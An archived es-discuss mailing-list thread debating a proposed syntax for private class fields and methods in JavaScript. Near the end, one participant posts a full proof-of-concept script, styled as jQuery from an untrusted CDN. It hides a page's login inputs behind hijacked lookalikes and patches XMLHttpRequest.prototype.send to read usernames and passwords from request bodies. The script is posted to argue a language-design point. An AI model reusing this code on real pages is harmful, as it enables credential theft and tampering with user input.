EcmaScript Proposal – Private methods and fields proposals.

classic Classic list List threaded Threaded
29 messages Options
12
Reply | Threaded
Open this post in threaded view
|

EcmaScript Proposal – Private methods and fields proposals.

Sultan
[Strawman] Private methods and fields for JavaScript: https://github.com/thysultan/proposal-private-methods-and-fields

```js
class A {
  private id = Symbol('unique')
  equal(instance, property) {
    return private(this)[property] == private(instance)[property]
  }
}

const x = new A()

x.equal(x, 'id')
```

_______________________________________________
es-discuss mailing list
[hidden email]
https://mail.mozilla.org/listinfo/es-discuss
Reply | Threaded
Open this post in threaded view
|

Re: EcmaScript Proposal – Private methods and fields proposals.

Isiah Meadows-2
This is already being worked on:

- Instance private fields/methods: https://github.com/tc39/proposal-class-fields
- Static private fields/methods:
https://github.com/tc39/proposal-static-class-features/
- Recent TC39 meeting:
https://esdiscuss.org/notes/2018-03-21#10ivb-javascript-classes-11

-----

Isiah Meadows
[hidden email]

Looking for web consulting? Or a new website?
Send me an email and we can get started.
www.isiahmeadows.com


On Thu, Apr 12, 2018 at 2:11 PM, Sultan <[hidden email]> wrote:

> [Strawman] Private methods and fields for JavaScript:
> https://github.com/thysultan/proposal-private-methods-and-fields
>
> ```js
>
> class A {
>   private id = Symbol('unique')
>   equal(instance, property) {
>     return private(this)[property] == private(instance)[property]
>   }
> }
>
> const x = new A()
>
> x.equal(x, 'id')
>
> ```
>
>
> _______________________________________________
> es-discuss mailing list
> [hidden email]
> https://mail.mozilla.org/listinfo/es-discuss
>
_______________________________________________
es-discuss mailing list
[hidden email]
https://mail.mozilla.org/listinfo/es-discuss
Reply | Threaded
Open this post in threaded view
|

Re: EcmaScript Proposal – Private methods and fields proposals.

Sultan
This is specifically an alternative to the current proposals around private methods/fields. Specifically motivated by some of the issues discussed in https://github.com/tc39/proposal-private-methods/issues/28

On Fri, Apr 13, 2018 at 12:13 AM, Isiah Meadows <[hidden email]> wrote:
This is already being worked on:

- Instance private fields/methods: https://github.com/tc39/proposal-class-fields
- Static private fields/methods:
https://github.com/tc39/proposal-static-class-features/
- Recent TC39 meeting:
https://esdiscuss.org/notes/2018-03-21#10ivb-javascript-classes-11

-----

Isiah Meadows
[hidden email]

Looking for web consulting? Or a new website?
Send me an email and we can get started.
www.isiahmeadows.com


On Thu, Apr 12, 2018 at 2:11 PM, Sultan <[hidden email]> wrote:
> [Strawman] Private methods and fields for JavaScript:
> https://github.com/thysultan/proposal-private-methods-and-fields
>
> ```js
>
> class A {
>   private id = Symbol('unique')
>   equal(instance, property) {
>     return private(this)[property] == private(instance)[property]
>   }
> }
>
> const x = new A()
>
> x.equal(x, 'id')
>
> ```
>
>
> _______________________________________________
> es-discuss mailing list
> [hidden email]
> https://mail.mozilla.org/listinfo/es-discuss
>


_______________________________________________
es-discuss mailing list
[hidden email]
https://mail.mozilla.org/listinfo/es-discuss
Reply | Threaded
Open this post in threaded view
|

Re: EcmaScript Proposal – Private methods and fields proposals.

Waldemar Horwat
In reply to this post by Sultan
I read that proposal but don't understand what the proposal actually is.  At this point it's a bit of syntax with no semantics behind it.  What does private(this)[property] do?  How do private fields come into existence?  How do you prevent them from being forged or stuck onto unrelated objects?  What's private about private fields?

     Waldemar
_______________________________________________
es-discuss mailing list
[hidden email]
https://mail.mozilla.org/listinfo/es-discuss
Reply | Threaded
Open this post in threaded view
|

Re: EcmaScript Proposal – Private methods and fields proposals.

Sultan
The proposal is an explainer with regards to an alternative sigil-less syntax to back private fields/methods.

>What does private(this)[property] do?

"private(this)[property]" and alternatively "private[property]" or "private.property" all invoke access of a private "property" on the "this" instance of the class, symmetrical to the syntax/function nature of both the "super" and "import" keywords.

>How do private fields come into existence?

Unless i've misunderstood what is meant by "come into existence" the proposals makes use of the reserved "private" keyword to define private fields i.e "private id = 1".

>What's private about private fields?

Outside of a private fields provider class, private fields/methods would not be accessible.

>How do you prevent them from being forged or stuck onto unrelated objects?

What do you mean by this?


On Fri, Apr 13, 2018 at 1:16 AM, Waldemar Horwat <[hidden email]> wrote:
I read that proposal but don't understand what the proposal actually is.  At this point it's a bit of syntax with no semantics behind it.  What does private(this)[property] do?  How do private fields come into existence?  How do you prevent them from being forged or stuck onto unrelated objects?  What's private about private fields?

    Waldemar


_______________________________________________
es-discuss mailing list
[hidden email]
https://mail.mozilla.org/listinfo/es-discuss
Reply | Threaded
Open this post in threaded view
|

Re: EcmaScript Proposal – Private methods and fields proposals.

Michael Theriot
This matches my initial perceptions of private properties in JS; exactly identical to regular properties but private, which I have not seen preserved in the other proposals.

On Apr 13, 2018, at 4:38 AM, Sultan <[hidden email]> wrote:

The proposal is an explainer with regards to an alternative sigil-less syntax to back private fields/methods.

>What does private(this)[property] do?

"private(this)[property]" and alternatively "private[property]" or "private.property" all invoke access of a private "property" on the "this" instance of the class, symmetrical to the syntax/function nature of both the "super" and "import" keywords.

>How do private fields come into existence?

Unless i've misunderstood what is meant by "come into existence" the proposals makes use of the reserved "private" keyword to define private fields i.e "private id = 1".

>What's private about private fields?

Outside of a private fields provider class, private fields/methods would not be accessible.

>How do you prevent them from being forged or stuck onto unrelated objects?

What do you mean by this?


On Fri, Apr 13, 2018 at 1:16 AM, Waldemar Horwat <[hidden email]> wrote:
I read that proposal but don't understand what the proposal actually is.  At this point it's a bit of syntax with no semantics behind it.  What does private(this)[property] do?  How do private fields come into existence?  How do you prevent them from being forged or stuck onto unrelated objects?  What's private about private fields?

    Waldemar

_______________________________________________
es-discuss mailing list
[hidden email]
https://mail.mozilla.org/listinfo/es-discuss

_______________________________________________
es-discuss mailing list
[hidden email]
https://mail.mozilla.org/listinfo/es-discuss
Reply | Threaded
Open this post in threaded view
|

Re: EcmaScript Proposal – Private methods and fields proposals.

Waldemar Horwat
In reply to this post by Sultan
On 04/13/2018 01:38 AM, Sultan wrote:
> The proposal is an explainer with regards to an alternative sigil-less syntax to back private fields/methods.
>
>>What does private(this)[property] do?
>
> "private(this)[property]" and alternatively "private[property]" or "private.property" all invoke access of a private "property" on the "this" instance of the class, symmetrical to thesyntax/function nature of both the "super" and"import" keywords.
>
>>How do private fields come into existence?
>
> Unless i've misunderstood what is meant by "come into existence" the proposals makes use of the reserved "private" keyword to define private fields i.e "private id = 1".

I was asking about what creates those fields.

>>What's private about private fields?
>
> Outside of a private fields provider class, private fields/methods would not be accessible.
>
>>How do you prevent them from being forged or stuck onto unrelated objects?
>
> What do you mean by this?

Writing your private field to an object that's not an instance of your class.

class A {
   private id = ...;
   private foo = ...;
   write(value) {
     private(this)["id"] = value;
     private(this)["foo"] = ... my private secret that anyone outside the class must not learn ...;
   }
}

and then invoking the above write method with a this value that's not an instance of A, such as a proxy.

     Waldemar
_______________________________________________
es-discuss mailing list
[hidden email]
https://mail.mozilla.org/listinfo/es-discuss
Reply | Threaded
Open this post in threaded view
|

Re: EcmaScript Proposal – Private methods and fields proposals.

Michael Theriot
I'd imagine that would fail the same way proxies fail on typed arrays.

> On Apr 13, 2018, at 6:26 PM, Waldemar Horwat <[hidden email]> wrote:
>
>> On 04/13/2018 01:38 AM, Sultan wrote:
>> The proposal is an explainer with regards to an alternative sigil-less syntax to back private fields/methods.
>>> What does private(this)[property] do?
>> "private(this)[property]" and alternatively "private[property]" or "private.property" all invoke access of a private "property" on the "this" instance of the class, symmetrical to thesyntax/function nature of both the "super" and"import" keywords.
>>> How do private fields come into existence?
>> Unless i've misunderstood what is meant by "come into existence" the proposals makes use of the reserved "private" keyword to define private fields i.e "private id = 1".
>
> I was asking about what creates those fields.
>
>>> What's private about private fields?
>> Outside of a private fields provider class, private fields/methods would not be accessible.
>>> How do you prevent them from being forged or stuck onto unrelated objects?
>> What do you mean by this?
>
> Writing your private field to an object that's not an instance of your class.
>
> class A {
>  private id = ...;
>  private foo = ...;
>  write(value) {
>    private(this)["id"] = value;
>    private(this)["foo"] = ... my private secret that anyone outside the class must not learn ...;
>  }
> }
>
> and then invoking the above write method with a this value that's not an instance of A, such as a proxy.
>
>    Waldemar
> _______________________________________________
> es-discuss mailing list
> [hidden email]
> https://mail.mozilla.org/listinfo/es-discuss
_______________________________________________
es-discuss mailing list
[hidden email]
https://mail.mozilla.org/listinfo/es-discuss
Reply | Threaded
Open this post in threaded view
|

Re: EcmaScript Proposal – Private methods and fields proposals.

Sultan
>Writing your private field to an object that's not an instance of your class.
>and then invoking the above write method with a this value that's not an instance of A, such as a proxy.

Given:

class A {
  private id = 0;
  private method(value) {
    return value;
  }
  write(value) {
    private(this)["id"] = private["method"](value);
  }
}

I imagine this means trying to do something along the lines of:

(new A()).write.call({}, 'pawned');

This would fail. The private syntax call site would be scoped to the provider class. For example imagine the current possible transpilation of this:

;(function (){
  var registry = WeakMap();

  function A () {
    registry.set(this, {id: 0})
  }
  A.prototype.write: function () {
    registry.get(this)["id"] = registry.get(this.constructor)["method"].call(this, value);
  }

  // shared(i.e private methods)
  registry.set(A, {
    method: function (value) {
      return value;
    }
  });

  return A
})();

Trying to do the the afore-mentioned forge here would currently fail along the lines of cannot read property "id" of  "undefined".



On Sat, Apr 14, 2018 at 1:49 AM, Michael Theriot <[hidden email]> wrote:
I'd imagine that would fail the same way proxies fail on typed arrays.

> On Apr 13, 2018, at 6:26 PM, Waldemar Horwat <[hidden email]> wrote:
>
>> On 04/13/2018 01:38 AM, Sultan wrote:
>> The proposal is an explainer with regards to an alternative sigil-less syntax to back private fields/methods.
>>> What does private(this)[property] do?
>> "private(this)[property]" and alternatively "private[property]" or "private.property" all invoke access of a private "property" on the "this" instance of the class, symmetrical to thesyntax/function nature of both the "super" and"import" keywords.
>>> How do private fields come into existence?
>> Unless i've misunderstood what is meant by "come into existence" the proposals makes use of the reserved "private" keyword to define private fields i.e "private id = 1".
>
> I was asking about what creates those fields.
>
>>> What's private about private fields?
>> Outside of a private fields provider class, private fields/methods would not be accessible.
>>> How do you prevent them from being forged or stuck onto unrelated objects?
>> What do you mean by this?
>
> Writing your private field to an object that's not an instance of your class.
>
> class A {
>  private id = ...;
>  private foo = ...;
>  write(value) {
>    private(this)["id"] = value;
>    private(this)["foo"] = ... my private secret that anyone outside the class must not learn ...;
>  }
> }
>
> and then invoking the above write method with a this value that's not an instance of A, such as a proxy.
>
>    Waldemar
> _______________________________________________
> es-discuss mailing list
> [hidden email]
> https://mail.mozilla.org/listinfo/es-discuss


_______________________________________________
es-discuss mailing list
[hidden email]
https://mail.mozilla.org/listinfo/es-discuss
Reply | Threaded
Open this post in threaded view
|

Re: EcmaScript Proposal – Private methods and fields proposals.

Isiah Meadows-2
Just an item of note: `private` *is* a valid identifier name in sloppy
mode, so your `private(this)` and `private["foo"]` syntax won't work
without banning it from sloppy.
-----

Isiah Meadows
[hidden email]

Looking for web consulting? Or a new website?
Send me an email and we can get started.
www.isiahmeadows.com


On Sat, Apr 14, 2018 at 12:41 AM, Sultan <[hidden email]> wrote:

>>Writing your private field to an object that's not an instance of your
>> class.
>>and then invoking the above write method with a this value that's not an
>> instance of A, such as a proxy.
>
> Given:
>
> class A {
>   private id = 0;
>   private method(value) {
>     return value;
>   }
>   write(value) {
>     private(this)["id"] = private["method"](value);
>   }
> }
>
> I imagine this means trying to do something along the lines of:
>
> (new A()).write.call({}, 'pawned');
>
> This would fail. The private syntax call site would be scoped to the
> provider class. For example imagine the current possible transpilation of
> this:
>
> ;(function (){
>   var registry = WeakMap();
>
>   function A () {
>     registry.set(this, {id: 0})
>   }
>   A.prototype.write: function () {
>     registry.get(this)["id"] =
> registry.get(this.constructor)["method"].call(this, value);
>   }
>
>   // shared(i.e private methods)
>   registry.set(A, {
>     method: function (value) {
>       return value;
>     }
>   });
>
>   return A
> })();
>
> Trying to do the the afore-mentioned forge here would currently fail along
> the lines of cannot read property "id" of  "undefined".
>
>
>
> On Sat, Apr 14, 2018 at 1:49 AM, Michael Theriot
> <[hidden email]> wrote:
>>
>> I'd imagine that would fail the same way proxies fail on typed arrays.
>>
>> > On Apr 13, 2018, at 6:26 PM, Waldemar Horwat <[hidden email]>
>> > wrote:
>> >
>> >> On 04/13/2018 01:38 AM, Sultan wrote:
>> >> The proposal is an explainer with regards to an alternative sigil-less
>> >> syntax to back private fields/methods.
>> >>> What does private(this)[property] do?
>> >> "private(this)[property]" and alternatively "private[property]" or
>> >> "private.property" all invoke access of a private "property" on the "this"
>> >> instance of the class, symmetrical to thesyntax/function nature of both the
>> >> "super" and"import" keywords.
>> >>> How do private fields come into existence?
>> >> Unless i've misunderstood what is meant by "come into existence" the
>> >> proposals makes use of the reserved "private" keyword to define private
>> >> fields i.e "private id = 1".
>> >
>> > I was asking about what creates those fields.
>> >
>> >>> What's private about private fields?
>> >> Outside of a private fields provider class, private fields/methods
>> >> would not be accessible.
>> >>> How do you prevent them from being forged or stuck onto unrelated
>> >>> objects?
>> >> What do you mean by this?
>> >
>> > Writing your private field to an object that's not an instance of your
>> > class.
>> >
>> > class A {
>> >  private id = ...;
>> >  private foo = ...;
>> >  write(value) {
>> >    private(this)["id"] = value;
>> >    private(this)["foo"] = ... my private secret that anyone outside the
>> > class must not learn ...;
>> >  }
>> > }
>> >
>> > and then invoking the above write method with a this value that's not an
>> > instance of A, such as a proxy.
>> >
>> >    Waldemar
>> > _______________________________________________
>> > es-discuss mailing list
>> > [hidden email]
>> > https://mail.mozilla.org/listinfo/es-discuss
>
>
>
> _______________________________________________
> es-discuss mailing list
> [hidden email]
> https://mail.mozilla.org/listinfo/es-discuss
>
_______________________________________________
es-discuss mailing list
[hidden email]
https://mail.mozilla.org/listinfo/es-discuss
Reply | Threaded
Open this post in threaded view
|

Re: EcmaScript Proposal – Private methods and fields proposals.

T.J. Crowder-2
> Just an item of note: `private` *is* a valid identifier name in sloppy
> mode, so your `private(this)` and `private["foo"]` syntax won't work
> without banning it from sloppy.

`class` code is always strict[1].

-- T.J. Crowder


_______________________________________________
es-discuss mailing list
[hidden email]
https://mail.mozilla.org/listinfo/es-discuss
Reply | Threaded
Open this post in threaded view
|

Re: EcmaScript Proposal – Private methods and fields proposals.

Isiah Meadows-2
Oops...somehow, I forgot about that... :-)
-----

Isiah Meadows
[hidden email]

Looking for web consulting? Or a new website?
Send me an email and we can get started.
www.isiahmeadows.com


On Sat, Apr 14, 2018 at 3:21 AM, T.J. Crowder
<[hidden email]> wrote:
>> Just an item of note: `private` *is* a valid identifier name in sloppy
>> mode, so your `private(this)` and `private["foo"]` syntax won't work
>> without banning it from sloppy.
>
> `class` code is always strict[1].
>
> -- T.J. Crowder
>
> [1]: https://tc39.github.io/ecma262/#sec-class-definitions
_______________________________________________
es-discuss mailing list
[hidden email]
https://mail.mozilla.org/listinfo/es-discuss
Reply | Threaded
Open this post in threaded view
|

Re: EcmaScript Proposal – Private methods and fields proposals.

Waldemar Horwat
In reply to this post by Sultan
On 04/13/2018 09:41 PM, Sultan wrote:

>  >Writing your private field to an object that's not an instance of your class.
>  >and then invoking the above write method with a this value that's not an instance of A, such as a proxy.
>
> Given:
>
> class A {
>    private id = 0;
>    private method(value) {
>      return value;
>    }
>    write(value) {
>      private(this)["id"] = private["method"](value);
>    }
> }
>
> I imagine this means trying to do something along the lines of:
>
> (new A()).write.call({}, 'pawned');
>
> This would fail. The private syntax call site would be scoped to the provider class. For example imagine the current possible transpilation of this:
>
> ;(function (){
>    var registry = WeakMap();
>
>    function A () {
>      registry.set(this, {id: 0})
>    }
>    A.prototype.write: function () {
>      registry.get(this)["id"] = registry.get(this.constructor)["method"].call(this, value);
>    }
>
>    // shared(i.e private methods)
>    registry.set(A, {
>      method: function (value) {
>        return value;
>      }
>    });
>
>    return A
> })();
>
> Trying to do the the afore-mentioned forge here would currently fail along the lines of cannot read property "id" of  "undefined".

OK, so that aspect of the proposal looks the same as the existing private proposals — an instance has a fixed set of private fields which get created at object creation time.  There are tricky additional wrinkles when it comes to inheritance, but you can look them up in the existing proposals.

Are the only significant changes the different property naming syntax and that you provide a way to map strings to private slots?  How do you deal with inner nested classes wanting to refer to outer classes' private fields?

     Waldemar
_______________________________________________
es-discuss mailing list
[hidden email]
https://mail.mozilla.org/listinfo/es-discuss
Reply | Threaded
Open this post in threaded view
|

Re: EcmaScript Proposal – Private methods and fields proposals.

Sultan
>An instance has a fixed set of private fields which get created at object creation time.

The implications of this alternative does not necessarily limit the creation of private fields to creation time, for example writing to a private field in the constructor or at any arbitrary time within the lifecycle of the instance.

class HashTable {
  constructor() {
    private[Symbol.for('length')] = 0
  }
  set(key, value) {
    private[key] = value
  }
  get(key) {
    return private[key]
  }
}

>How do you deal with inner nested classes wanting to refer to outer classes' private fields?

Not sure i understood what you mean by this?


On Tue, Apr 17, 2018 at 1:43 AM, Waldemar Horwat <[hidden email]> wrote:
On 04/13/2018 09:41 PM, Sultan wrote:
 >Writing your private field to an object that's not an instance of your class.
 >and then invoking the above write method with a this value that's not an instance of A, such as a proxy.

Given:

class A {
   private id = 0;
   private method(value) {
     return value;
   }
   write(value) {
     private(this)["id"] = private["method"](value);
   }
}

I imagine this means trying to do something along the lines of:

(new A()).write.call({}, 'pawned');

This would fail. The private syntax call site would be scoped to the provider class. For example imagine the current possible transpilation of this:

;(function (){
   var registry = WeakMap();

   function A () {
     registry.set(this, {id: 0})
   }
   A.prototype.write: function () {
     registry.get(this)["id"] = registry.get(this.constructor)["method"].call(this, value);
   }

   // shared(i.e private methods)
   registry.set(A, {
     method: function (value) {
       return value;
     }
   });

   return A
})();

Trying to do the the afore-mentioned forge here would currently fail along the lines of cannot read property "id" of  "undefined".

OK, so that aspect of the proposal looks the same as the existing private proposals — an instance has a fixed set of private fields which get created at object creation time.  There are tricky additional wrinkles when it comes to inheritance, but you can look them up in the existing proposals.

Are the only significant changes the different property naming syntax and that you provide a way to map strings to private slots?  How do you deal with inner nested classes wanting to refer to outer classes' private fields?

    Waldemar


_______________________________________________
es-discuss mailing list
[hidden email]
https://mail.mozilla.org/listinfo/es-discuss
Reply | Threaded
Open this post in threaded view
|

Re: EcmaScript Proposal – Private methods and fields proposals.

kai zhu
as a javascript web-developer, can someone educate me on how private
class methods/fields would make one's life easier (rather than harder)
in getting web-projects shipped?

```
/*
 * how is this cited example better than using a plain object in a web-project?
 * can someone give actual common problems in
 * debugging/integrating/shipping web-projects,
 * that private methods/fields could help simplify (rather than complicate)?
 */
class HashTable {
  constructor() {
    private[Symbol.for('length')] = 0
  }
  set(key, value) {
    private[key] = value
  }
  get(key) {
    return private[key]
  }
}
```


On 4/17/18, Sultan <[hidden email]> wrote:

>>An instance has a fixed set of private fields which get created at object
> creation time.
>
> The implications of this alternative does not necessarily limit the
> creation of private fields to creation time, for example writing to a
> private field in the constructor or at any arbitrary time within the
> lifecycle of the instance.
>
> class HashTable {
>   constructor() {
>     private[Symbol.for('length')] = 0
>   }
>   set(key, value) {
>     private[key] = value
>   }
>   get(key) {
>     return private[key]
>   }
> }
>
>>How do you deal with inner nested classes wanting to refer to outer
> classes' private fields?
>
> Not sure i understood what you mean by this?
>
>
> On Tue, Apr 17, 2018 at 1:43 AM, Waldemar Horwat <[hidden email]>
> wrote:
>
>> On 04/13/2018 09:41 PM, Sultan wrote:
>>
>>>  >Writing your private field to an object that's not an instance of your
>>> class.
>>>  >and then invoking the above write method with a this value that's not
>>> an instance of A, such as a proxy.
>>>
>>> Given:
>>>
>>> class A {
>>>    private id = 0;
>>>    private method(value) {
>>>      return value;
>>>    }
>>>    write(value) {
>>>      private(this)["id"] = private["method"](value);
>>>    }
>>> }
>>>
>>> I imagine this means trying to do something along the lines of:
>>>
>>> (new A()).write.call({}, 'pawned');
>>>
>>> This would fail. The private syntax call site would be scoped to the
>>> provider class. For example imagine the current possible transpilation
>>> of
>>> this:
>>>
>>> ;(function (){
>>>    var registry = WeakMap();
>>>
>>>    function A () {
>>>      registry.set(this, {id: 0})
>>>    }
>>>    A.prototype.write: function () {
>>>      registry.get(this)["id"] =
>>> registry.get(this.constructor)["method"].call(this,
>>> value);
>>>    }
>>>
>>>    // shared(i.e private methods)
>>>    registry.set(A, {
>>>      method: function (value) {
>>>        return value;
>>>      }
>>>    });
>>>
>>>    return A
>>> })();
>>>
>>> Trying to do the the afore-mentioned forge here would currently fail
>>> along the lines of cannot read property "id" of  "undefined".
>>>
>>
>> OK, so that aspect of the proposal looks the same as the existing private
>> proposals — an instance has a fixed set of private fields which get
>> created
>> at object creation time.  There are tricky additional wrinkles when it
>> comes to inheritance, but you can look them up in the existing proposals.
>>
>> Are the only significant changes the different property naming syntax and
>> that you provide a way to map strings to private slots?  How do you deal
>> with inner nested classes wanting to refer to outer classes' private
>> fields?
>>
>>     Waldemar
>>
>
_______________________________________________
es-discuss mailing list
[hidden email]
https://mail.mozilla.org/listinfo/es-discuss
Reply | Threaded
Open this post in threaded view
|

Re: EcmaScript Proposal – Private methods and fields proposals.

Dan Peddle
imagine you are shipping a module for use by others, and you don't want to expose internals to consumers. private methods and properties help to know that only the public API is in use, giving confidence in publishing updates or fixes.

another use case is knowing that naughty developers aren't reaching into your module and changing its behaviour.

I'm sure there's more, but those are the ones that come to mind.

> On 17. Apr 2018, at 08:17, kai zhu <[hidden email]> wrote:
>
> as a javascript web-developer, can someone educate me on how private
> class methods/fields would make one's life easier (rather than harder)
> in getting web-projects shipped?
>
> ```
> /*
> * how is this cited example better than using a plain object in a web-project?
> * can someone give actual common problems in
> * debugging/integrating/shipping web-projects,
> * that private methods/fields could help simplify (rather than complicate)?
> */
> class HashTable {
>  constructor() {
>    private[Symbol.for('length')] = 0
>  }
>  set(key, value) {
>    private[key] = value
>  }
>  get(key) {
>    return private[key]
>  }
> }
> ```
>
_______________________________________________
es-discuss mailing list
[hidden email]
https://mail.mozilla.org/listinfo/es-discuss
Reply | Threaded
Open this post in threaded view
|

Re: EcmaScript Proposal – Private methods and fields proposals.

kai zhu
can you give actual code-examples of real-world things in web-projects
that are worth the effort and cost to **proactively** hide from
web-developers?  i suspect for most, just following python
design-pattern of prefixing them with '_' or '$' is good enough.

also in a webpage-context, how confident are you that private
methods/fields really are "private" and safe from naughty-developers?
would you trust private fields/methods enough to allow untrusted code
to run alongside your credit-card transaction webpage?  for example,
here's a live web-demo of a side-channel attack to indirectly
modify/read private fields (via jquery from untrusted cdn) [1], with
screenshots and full source-code here [2].

its not too difficult to craft these side-channel exploits when a
naughty-developer has full-access to your frontend source-code. how
many companies/organizations in the world do you think have the
resources to audit/harden their frontend-code to ensure private
methods/fields really are private and cannot be tinkered with through
various side-channel exploits (hijacking dom-inputs, XMLHttpRequest,
LocalStorage, IndexedDb, Array-accessors,
dependent-subclasses-you-forgot-to-encapsulate, etc)?

[1]
"live web-demo"
https://kaizhu256.github.io/tc39-private-field-side-channel-attack-example/

[2]
"screenshot and full source-code of demo-exploit"
https://github.com/tc39/proposal-class-fields/issues/93#issuecomment-380073112



```javascript
/*
 * jquery.from.untrusted.cdn.js
 *
 * this script will indirectly modify/read private-fields by hijacking
dom-inputs and XMLHttpRequest.
 * it is custom-crafted for a given webpage's freely available
frontend source-code
 *
 * live web-demo of it in action at:
 * https://kaizhu256.github.io/tc39-private-field-side-channel-attack-example/
 */
/*jslint
    bitwise: true,
    browser: true,
    maxerr: 4,
    maxlen: 100,
    node: true,
    nomen: true,
    regexp: true,
    stupid: true
*/
(function () {
    'use strict';
    var XMLHttpRequestPrototypeSend, consoleLog;
    consoleLog = console.log;
    console.log = function () {
        document.querySelector('#textareaStdout').value +=
Array.from(arguments).join(' ') +
            '\n';
        consoleLog.apply(console, arguments);
    };
    // side-channel attack to modify private-fields in hijacked dom-inputs
    ['inputPassword', 'inputUsername'].forEach(function (element) {
    /*
     * this function will hide the original dom-inputs from the user,
     * and replace them with hijacked ones, that can arbitrarily modify data
     */
        var hijackElement;
        element = document.querySelector('#' + element);
        element.style.display = 'none';
        hijackElement = document.createElement('input');
        element.parentNode.insertBefore(hijackElement, element);
        hijackElement.id = element.id + '2';
        hijackElement.type = element.type;
        hijackElement.value = element.value;
        hijackElement.addEventListener('change', function () {
            // arbitrarily modify data and pass it back to original dom-inputs
            element.value = hijackElement.value + ' modified!';
        });
        element.value = element.value + ' modified!';
    });
    document.querySelector('#inputSubmit').addEventListener('click',
function () {
        console.log('hijacked dom-input to modify field
loginInstance.privateUsername=' +
            JSON.stringify(document.querySelector('#inputUsername').value));
        console.log('hijacked dom-input to modify field
loginInstance.privatePassword=' +
            JSON.stringify(document.querySelector('#inputPassword').value)
+ '\n');
    });
    // side-channel attack to read private-fields from hijacked XMLHttpRequest
    XMLHttpRequestPrototypeSend = XMLHttpRequest.prototype.send;
    XMLHttpRequest.prototype.send = function (data) {
    /*
     * this function will hijack XMLHttpRequest.prototype.send to
indirectly read private-fields
     */
        try {
            data = JSON.parse(data);
            console.log('hijacked XMLHttpRequest.prototype.send to
read field ' +
                'loginInstance.privateUsername=' +
JSON.stringify(data.username));
            console.log('hijacked XMLHttpRequest.prototype.send to
read field ' +
                'loginInstance.privatePassword=' +
JSON.stringify(data.password) + '\n');
        } catch (ignore) {
        }
        XMLHttpRequestPrototypeSend.apply(this, arguments);
    };
    console.log('loaded script <script
src="jquery.from.untrusted.cdn.js"></script>');
}());
```


On 4/17/18, Dan Peddle <[hidden email]> wrote:

> imagine you are shipping a module for use by others, and you don't want to
> expose internals to consumers. private methods and properties help to know
> that only the public API is in use, giving confidence in publishing updates
> or fixes.
>
> another use case is knowing that naughty developers aren't reaching into
> your module and changing its behaviour.
>
> I'm sure there's more, but those are the ones that come to mind.
>
>> On 17. Apr 2018, at 08:17, kai zhu <[hidden email]> wrote:
>>
>> as a javascript web-developer, can someone educate me on how private
>> class methods/fields would make one's life easier (rather than harder)
>> in getting web-projects shipped?
>>
>> ```
>> /*
>> * how is this cited example better than using a plain object in a
>> web-project?
>> * can someone give actual common problems in
>> * debugging/integrating/shipping web-projects,
>> * that private methods/fields could help simplify (rather than
>> complicate)?
>> */
>> class HashTable {
>>  constructor() {
>>    private[Symbol.for('length')] = 0
>>  }
>>  set(key, value) {
>>    private[key] = value
>>  }
>>  get(key) {
>>    return private[key]
>>  }
>> }
>> ```
>>
>
_______________________________________________
es-discuss mailing list
[hidden email]
https://mail.mozilla.org/listinfo/es-discuss
Reply | Threaded
Open this post in threaded view
|

Re: EcmaScript Proposal – Private methods and fields proposals.

Michael Theriot
There's no confidence anything you run on someone else's machine really is "private" in any language (especially with reflection). Nevertheless private members still exist and continue to be used.

> On Apr 17, 2018, at 6:34 AM, kai zhu <[hidden email]> wrote:
>
> can you give actual code-examples of real-world things in web-projects
> that are worth the effort and cost to **proactively** hide from
> web-developers?  i suspect for most, just following python
> design-pattern of prefixing them with '_' or '$' is good enough.
>
> also in a webpage-context, how confident are you that private
> methods/fields really are "private" and safe from naughty-developers?
> would you trust private fields/methods enough to allow untrusted code
> to run alongside your credit-card transaction webpage?  for example,
> here's a live web-demo of a side-channel attack to indirectly
> modify/read private fields (via jquery from untrusted cdn) [1], with
> screenshots and full source-code here [2].
>
> its not too difficult to craft these side-channel exploits when a
> naughty-developer has full-access to your frontend source-code. how
> many companies/organizations in the world do you think have the
> resources to audit/harden their frontend-code to ensure private
> methods/fields really are private and cannot be tinkered with through
> various side-channel exploits (hijacking dom-inputs, XMLHttpRequest,
> LocalStorage, IndexedDb, Array-accessors,
> dependent-subclasses-you-forgot-to-encapsulate, etc)?
>
> [1]
> "live web-demo"
> https://kaizhu256.github.io/tc39-private-field-side-channel-attack-example/
>
> [2]
> "screenshot and full source-code of demo-exploit"
> https://github.com/tc39/proposal-class-fields/issues/93#issuecomment-380073112
>
>
>
> ```javascript
> /*
> * jquery.from.untrusted.cdn.js
> *
> * this script will indirectly modify/read private-fields by hijacking
> dom-inputs and XMLHttpRequest.
> * it is custom-crafted for a given webpage's freely available
> frontend source-code
> *
> * live web-demo of it in action at:
> * https://kaizhu256.github.io/tc39-private-field-side-channel-attack-example/
> */
> /*jslint
>    bitwise: true,
>    browser: true,
>    maxerr: 4,
>    maxlen: 100,
>    node: true,
>    nomen: true,
>    regexp: true,
>    stupid: true
> */
> (function () {
>    'use strict';
>    var XMLHttpRequestPrototypeSend, consoleLog;
>    consoleLog = console.log;
>    console.log = function () {
>        document.querySelector('#textareaStdout').value +=
> Array.from(arguments).join(' ') +
>            '\n';
>        consoleLog.apply(console, arguments);
>    };
>    // side-channel attack to modify private-fields in hijacked dom-inputs
>    ['inputPassword', 'inputUsername'].forEach(function (element) {
>    /*
>     * this function will hide the original dom-inputs from the user,
>     * and replace them with hijacked ones, that can arbitrarily modify data
>     */
>        var hijackElement;
>        element = document.querySelector('#' + element);
>        element.style.display = 'none';
>        hijackElement = document.createElement('input');
>        element.parentNode.insertBefore(hijackElement, element);
>        hijackElement.id = element.id + '2';
>        hijackElement.type = element.type;
>        hijackElement.value = element.value;
>        hijackElement.addEventListener('change', function () {
>            // arbitrarily modify data and pass it back to original dom-inputs
>            element.value = hijackElement.value + ' modified!';
>        });
>        element.value = element.value + ' modified!';
>    });
>    document.querySelector('#inputSubmit').addEventListener('click',
> function () {
>        console.log('hijacked dom-input to modify field
> loginInstance.privateUsername=' +
>            JSON.stringify(document.querySelector('#inputUsername').value));
>        console.log('hijacked dom-input to modify field
> loginInstance.privatePassword=' +
>            JSON.stringify(document.querySelector('#inputPassword').value)
> + '\n');
>    });
>    // side-channel attack to read private-fields from hijacked XMLHttpRequest
>    XMLHttpRequestPrototypeSend = XMLHttpRequest.prototype.send;
>    XMLHttpRequest.prototype.send = function (data) {
>    /*
>     * this function will hijack XMLHttpRequest.prototype.send to
> indirectly read private-fields
>     */
>        try {
>            data = JSON.parse(data);
>            console.log('hijacked XMLHttpRequest.prototype.send to
> read field ' +
>                'loginInstance.privateUsername=' +
> JSON.stringify(data.username));
>            console.log('hijacked XMLHttpRequest.prototype.send to
> read field ' +
>                'loginInstance.privatePassword=' +
